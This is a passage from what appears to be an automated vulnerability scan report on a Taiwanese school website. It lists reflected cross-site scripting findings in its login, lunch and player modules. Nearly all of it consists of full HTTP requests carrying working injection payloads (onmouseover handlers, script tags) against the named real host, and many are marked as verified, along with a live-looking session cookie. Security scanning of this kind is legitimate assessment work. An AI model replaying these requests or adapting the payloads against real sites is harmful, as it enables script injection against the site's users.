nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_login/
Details

URI was set to "onmouseover='NtGP(9495)'bad=" 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_login/?"onmouseover='NtGP(9495)'bad=" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_login/index.php
Details

URI was set to ;9946'();}]9549 
The input is reflected inside a <script> tag between single quotes.

Request headers



GET /modules/tad_login/index.php/%3B%39%39%34%36%27%28%29%3B%7D%5D%39%35%34%39 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_lunch3/
Details

URI was set to "onmouseover='DsV0(9327)'bad=" 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_lunch3/?"onmouseover='DsV0(9327)'bad=" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_lunch3/index.php
Details

URI was set to ;9372'();}]9882 
The input is reflected inside a <script> tag between single quotes.

Request headers



GET /modules/tad_lunch3/index.php/%3B%39%33%37%32%27%28%29%3B%7D%5D%39%38%38%32 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_lunch3/index.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=chl5(9856)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_lunch3/index.php?nsn=1"onmouseover=chl5(9856)"&op=delete_tad_news
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_lunch3/index.php
Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=chl5(9112)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_lunch3/index.php?nsn=&op=delete_tad_news"onmouseover=chl5(9112)"
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_lunch3/index.php
Verified vulnerability

Details

URL encoded GET input op was set to re_get"onmouseover=wUMJ(9407)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_lunch3/index.php?
SchoolId=64736421&op=re_get"onmouseover=wUMJ(9407)"&period=2019-05-17 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_lunch3/index.php
Verified vulnerability

Details

URL encoded GET input period was set to 2019-05-17'"()&%<acx><ScRiPt >5YFx(9731)</ScRiPt> 

Request headers



GET /modules/tad_lunch3/index.php?period=2019-05-17'"()%26%25<acx><ScRiPt%20>5YFx(9731)
</ScRiPt> HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_lunch3/index.php
Verified vulnerability

Details

URL encoded GET input period was set to 2019-05-17'"()&%<acx><ScRiPt >CutC(9557)</ScRiPt> 

Request headers

GET /modules/tad_lunch3/index.php?period=2019-05-17'"()%26%25<acx><ScRiPt%20>CutC(9557)
</ScRiPt> HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_lunch3/index.php
Verified vulnerability

Details

URL encoded GET input period was set to 2019-05-17"onmouseover=wUMJ(9688)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_lunch3/index.php?period=2019-05-17/"onmouseover=wUMJ(9688)/" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/modules/tad_lunch3/index.php?
SchoolId=64736421&op=re_get&period=2019-05-17"onmouseover=wUMJ(9688)" 
Connection: keep-alive 
Accept: */* 
Accept-Encoding: gzip,deflate 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Host: tad.lces.tn.edu.tw 

/modules/tad_player
Details

URI was set to ;9889'();}]9711 
The input is reflected inside a <script> tag between single quotes.

Request headers

GET /modules/tad_player/?;9889'();}]9711 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/modules/tad_player?;9889'();}]9711 
Connection: keep-alive 
Accept: */* 
Accept-Encoding: gzip,deflate 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Host: tad.lces.tn.edu.tw 

/modules/tad_player/
Details

URI was set to "onmouseover='LY9u(9348)'bad=" 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_player/?"onmouseover='LY9u(9348)'bad=" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_base
URI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4LN0sf_baseURI=ht
tp://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_4LN0
sf7;tab_news_qdxdCH_baseURI=http://tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/index.php
Details

URI was set to ;9926'();}]9959 
The input is reflected inside a <script> tag between single quotes.

Request headers

GET /modules/tad_player/index.php/%3B%39%39%32%36%27%28%29%3B%7D%5D%39%39%35%39 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/index.php
Verified vulnerability

Details

URL encoded GET input g2p was set to 1"onmouseover=FYqQ(9240)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_player/index.php?g2p=1"onmouseover=FYqQ(9240)"&pcsn=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/index.php
Verified vulnerability

Details

URL encoded GET input nsn was set to 1"onmouseover=xxP6(9374)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_player/index.php?nsn=1"onmouseover=xxP6(9374)"&op=delete_tad_news
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/index.php
Verified vulnerability

Details

URL encoded GET input op was set to delete_tad_news"onmouseover=xxP6(9767)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_player/index.php?nsn=&op=delete_tad_news"onmouseover=xxP6(9767)"
HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/index.php
Verified vulnerability

Details

URL encoded GET input pcsn was set to 1"onmouseover=9nk2(9103)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_player/index.php?pcsn=1"onmouseover=9nk2(9103)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/index.php
Verified vulnerability

Details

URL encoded GET input pcsn was set to 1"onmouseover=FYqQ(9419)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_player/index.php?g2p=1&pcsn=1"onmouseover=FYqQ(9419)" HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/play.php
Verified vulnerability

Details

URL encoded GET input com_mode was set to flat"onmouseover=BUs3(9505)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_player/play.php?
com_mode=flat"onmouseover=BUs3(9505)"&com_order=0&com_refresh=&psn=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/play.php
Verified vulnerability

Details

URL encoded GET input com_mode was set to flat"onmouseover=Il9H(9811)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers



GET /modules/tad_player/play.php?
com_mode=flat"onmouseover=Il9H(9811)"&com_order=0&com_refresh=&psn=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
es.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3;lunch3Tab_baseU
RI=http://tad.lces.tn.edu.tw/index.php#xoops_theme_center_zone_key|lunch3Tab3;tab_news_4L
N0sf_baseURI=http://tad.lces.tn.edu.tw/#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab
3|tab_news_4LN0sf7;tab_news_RVjLql_baseURI=http://tad.lces.tn.edu.tw/index.php#xoops_them
e_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_RVjLql7;tab_news_qdxdCH_baseURI=http://
tad.lces.tn.edu.tw/index.php?
nsn=&op=delete_tad_news#xoops_theme_center_zone_key|lunch3Tab3|kitchenTab3|tab_news_qdxdC
H7 
Accept: */* 
Accept-Encoding: gzip,deflate 
Host: tad.lces.tn.edu.tw 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko)
Chrome/41.0.2228.0 Safari/537.21 

/modules/tad_player/play.php
Verified vulnerability

Details

URL encoded GET input com_order was set to 0"onmouseover=BUs3(9390)" 
 
The input is reflected inside a tag parameter between double quotes.

Request headers

GET /modules/tad_player/play.php?
com_mode=flat&com_order=0"onmouseover=BUs3(9390)"&com_refresh=&psn=1 HTTP/1.1 
Referer: http://tad.lces.tn.edu.tw/ 
Connection: keep-alive 
Cookie:
PHPSESSID=mlk8m66294k4l7fudp7od7cbh6;XOLOGGERVIEW=timers;kitchenTab_baseURI=http://tad.lc
